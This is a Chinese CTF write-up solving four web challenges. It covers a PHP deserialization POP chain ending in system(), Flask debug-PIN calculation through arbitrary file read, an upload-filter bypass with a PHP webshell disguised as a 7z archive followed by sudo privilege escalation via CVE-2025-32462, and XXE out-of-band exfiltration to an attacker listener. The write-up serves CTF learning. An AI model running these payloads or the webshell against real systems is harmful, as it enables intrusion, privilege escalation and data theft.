if (isset($_POST["HERO"])) {
    unserialize($_POST["HERO"]);
}

``一个简单的反序列化，从那个后往前看，调用不存在的方法（属性）时执行其参数值，当对象被当字符串调用时过了防火墙之后调用不存在的方法，调用不存在的属性时过了md5强碰撞之后，把属性go当作字符串调用（go属性指向前面的对象），然后到了最前面，如果反序列化了自动调用__wakeup()，如果ishero的值不等于hero又包含hero时，调用不存在的属性sowrd，ok了，闭环，接下来直接贴payload。

<?php

class Start {
    public $ishero;
    public $adventure;
}

class Sword {
    public $test1;
    public $test2;
    public $go;
}

class Mon3tr {
    private $result;
    public $end;
}

$o = new Start();
$o->ishero = "hero1";
$o->adventure = new Sword();
$o->adventure->test1 = [1];
$o->adventure->test2 = [2];
$o->adventure->go = new Mon3tr();
$o->adventure->go->end = "eval(\"\\\$x='sy'.'stem';\\\$x('c'.'at /fla*');\");";

echo serialize($o);

W4好像什么都能读

这题一开始是这个页面

看了看没啥大问题，大概是/read?filename=xxx然后读文件，读一读app.py

发现存在任意文件读取，并且debug调试是开的，那么我们可以利用这两个点打组合拳。

因为进debug调试需要pin，那么这里知识就有些多了，来吧，展示：

pin码也就是flask在开启debug模式下，进行代码调试模式的进入密码，需要正确的PIN码才能进入调试模式。

条件：debug模式有任意文件读取如/file?filename= 满足六要素

老生常谈六要素：

username，用户名

modname，默认值为flask.app

appname，默认值为Flask

moddir，flask库下app.py的绝对路径

uuidnode，当前网络的mac地址的十进制数

machine_id，docker机器id

username:

通过文件读取/etc/passwd,找带shell的，一般为root

modename:

一般默认为flask.app

appname:

一般不变就是Flask

moddir：

app.py的绝对路径，只需要让程序报错就会泄露该值 #/usr/local/lib/python3.9/site-packages/flask/app.py

uuidnode:

mac地址的十进制数,通过读/sys/class/net/eth0/address获得十六进制数然后去掉冒号转十进制或者cmd里用python执行print(int('5aefc61f2456',16))

machine_id:

每一个机器都会有自已唯一的id，Linux具体过程就是先找/etc/machine-id，如果有就去找/proc/self/cgroup进行拼接，如果没有就用/proc/sys/kernel/random/boot_id和/proc/self/cgroup的0::/后面的内容进行拼接(或者docker/后面那一串)，如果为空就为空。

最后注意一下加密算法以前是md5，3.8及之后是sha1，注意改算法`

如果console访问不到控制台

需要：

1.Host改127.0.0.1 只要是访问/console都需要带host

2.获取cookie /console?debugger=yes&cmd=pinauth&pin=245-243-598&s=KFThF5Qtc7mCpJREkDHF

S是报错里的SECRET，要右键源码找提交正确的pin码后会返回cookie 需要带host

执行代码/console?debugger=yes&cmd=print(%27mixian%27)&frm=140360546289440&s=KFThF5Qtc7mCpJREkDHF

frm依旧报错右键源码找frame 如果没有就是0如果有任意一个都可以需要带上host和cookie

因为刚开始脑子糊，我原先并不清楚pin的计算方法和werkzeug版本的区别，于是去看__init__.py文件，路径是

/home/ctf/.local/lib/python3.13/site-packages/werkzeug/debug/init.py，然后发现只能支持127.0.0.1进入调试，不然会被反代理拦截，那么我们通过计算出的pin输入pin输入框后（另外，调试台不给我显示，控制台显示指令是promptForPin();）然后去读SECRET，直接控制台输入，然后frm也可以在控制台解锁后输入frm直接查找，然后cmd=xxxx，列出当前文件，打payload，url编码保证传输，大概格式是这样

/read?debugger=yes&cmd=<URL编码后的Python表达式>&frm=<FRAME_ID>&s=<SECRET>

这题的列出文件payload是(import('os').popen('ls -la / /home/ctf /home/ctf/instance').read())

然后发现了/fllllaggggggggggg这个文件，ok直接open一读，完事，出狱！！！

W4.getshell

首先，给了一个附件，看看代码

<?php
error_reporting(0);

$allowed_extensions = ['zip', 'bz2', 'gz', 'xz', '7z'];
$allowed_mime_types = [
    'application/zip',
    'application/x-bzip2',
    'application/gzip',
    'application/x-gzip',
    'application/x-xz',
    'application/x-7z-compressed',
];


function filter($tempfile)
{
    $data = file_get_contents($tempfile);
    if (
        stripos($data, "__HALT_COMPILER();") !== false || stripos($data, "PK") !== false ||
        stripos($data, "<?") !== false || stripos(strtolower($data), "<?php") !== false
    ) {
        return true;
    }
    return false;
}

if ($_SERVER["REQUEST_METHOD"] == 'POST') {
    if (is_uploaded_file($_FILES['file']['tmp_name'])) {
        if (filter($_FILES['file']['tmp_name']) || !isset($_FILES['file']['name'])) {
            die("Nope :<");
        }

        // mimetype check
        $finfo = finfo_open(FILEINFO_MIME_TYPE);
        $mime_type = finfo_file($finfo, $_FILES['file']['tmp_name']);
        finfo_close($finfo);

        if (!in_array($mime_type, $allowed_mime_types)) {
            die('unexpected mimetype');
        }

        // ext check
        $ext = strtolower(pathinfo(basename($_FILES['file']['name']), PATHINFO_EXTENSION));

        if (!in_array($ext, $allowed_extensions)) {
            die('unexpected extension');
        }

        if (move_uploaded_file($_FILES['file']['tmp_name'], "/tmp/" . basename($_FILES['file']['name']))) {
            echo "File upload success!Please include with 'url'";
        }else{
            echo "fail";
        }     
    }
}

if (isset($_GET['url'])) {
    
$include_url = basename($_GET['url']);


if (!preg_match("/\.(zip|bz2|gz|xz|7z)/i", $include_url)) {
    die("unexpected extension");
}

include '/tmp/' . $include_url;
exit;
}
?>
<form enctype='multipart/form-data' method='post'>
    <input type='file' name='file'>
    <input type="submit" value="upload"></p>
</form>

审计一下，大概就是只能上传zip,7z等格式的压缩文件，但是，还限制了<?和**<?php**，PK，和函数__HALT_COMPILER()这个<?和<?php就不多说了，是限制php上传的，那么PK是zip的文件头，__HALT_COMPILER()是一个嵌入数据的函数，这有点自相矛盾，能传zip又禁了zip的文件头，也就是不让我们传zip，那么好，直接传7z，然后伪装一下，加个文件头（其实好像不加也行），以下是一句话木马payload（不知道冰蝎咋回事执行命令没回显）:

<script language="php">
system($_GET['c']);
</script>

然后加的7z文件头是37 7A BC AF 27 1C，直接十六进制加。

然后就开始下一步，我们开始通过一句话木马执行指令，发现自己是www-data也就是普通用户的权限，然后目录遍历，c=ls ../../../找到了flag，直接读回显空白，看看所需权限，'-r-------- 1 root root 42 Oct 22 04:50 ../../../flag，发现需要root才能查看，好了这下，直接提权，我们先试试suid，打payload：find / -perm -4000 -type f -exec ls -ls {} 2>/dev/null \

-rwsr-xr-x    1 root     root         36560 May 19  2018 /bin/su
48 -rwsr-xr-x    1 root     root         47376 May 19  2018 /usr/bin/passwd
56 -rwsr-xr-x    1 root     root         55200 May 19  2018 /usr/bin/gpasswd
56 -rwsr-xr-x    1 root     root         55408 May 19  2018 /usr/bin/chage
44 -rwsr-xr-x    1 root     root         41848 May 19  2018 /usr/bin/chfn
116 -rwsr-xr-x    1 root     root        116024 Feb  5  2020 /usr/bin/sudo
20 -rwsr-xr-x    1 root     root         18608 May 19  2018 /usr/bin/expiry
32 -rwsr-xr-x    1 root     root         32256 May 19  2018 /usr/bin/chsh
32 -rwsr-xr-x    1 root     root         32088 May 19  2018 /usr/bin/newgrp

结果没发现什么高危的，试了试sudo的几个高危险CVE，没啥用，然后看/etc/sudoers这个sudo命令的配置文件，在最后一行发现www-data asd.asd.asd = NOPASSWD:ALL，意思是可以在www-data用户下使用asd.asd.asd的主机地址执行所有权限的命令并且不需要密码，结合漏洞CVE-2025-32462，这个漏洞基本原理是sudo 的 - h（–host）选项错误地将远程主机的权限规则应用到本地系统，导致本地低权限用户可通过指定允许的远程主机名，绕过本地权限限制，以 root 身份执行命令。

然后利用，直接打出payload利用漏洞越权拿flag:\

sudo -h asd.asd.asd cat ../../../flag,直接KO

W3基础XXE出网

这边是上来是一个xml输入界面

输入只有seccess,faliled,hacker。没有回显，办法试试dtd外带。又因为过滤了!ENTITY,只能外部引用了，我试试写写payload

<?xml version='1.0'?>

<!DOCTYPE a SYSTEM 'http://sdkasjdaj/xxx.dtd'>

以上，其中的&file是引用上面dtd的参数，这是攻击payload

然后，再是服务器的内容，服务器的payload我试试手打。

<!ENTITY %ddk SYSTEM 'php://filter/read=convert.base64.encode/resource='/f1111llllaa44g'>
<!ENTITY %vps '<!ENTITY &#37;ppk SYSTEM 'http://asdasdadadadd:2333/&ddk'>'>
%ppk;
%vps;

这个解释一下，ddk引用内容，然后下面至于为什么要套壳，是为了延迟输出，从而绕过waf，还有如果在前面直接用%是ok，但是在后面<>里要用;证明这个十进制或者十六进制的合法性，然后就没啥了，直接nc监听，然后看到/xxxxxxxx的就是flag。这个吧，原理就是把dtd文件引用然后解析ppk,vps，就连上nc了，然后最后一点，他妈

<a>&file;</a>我一直懵逼到底干嘛用，其实就是防止报错，这是维持xml结构正确的，本身没啥用，ok结束